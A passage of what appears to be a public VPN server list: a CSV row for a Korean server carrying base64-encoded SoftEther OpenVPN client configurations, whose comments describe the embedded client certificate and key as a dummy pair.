S9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn133952495,119.193.44.139,841864,31,61217220,Korea Republic of,KR,26,181947195,197913,32970213833716,2weeks,CW's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTkuMTkzLjQ0LjEzOSA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5Ea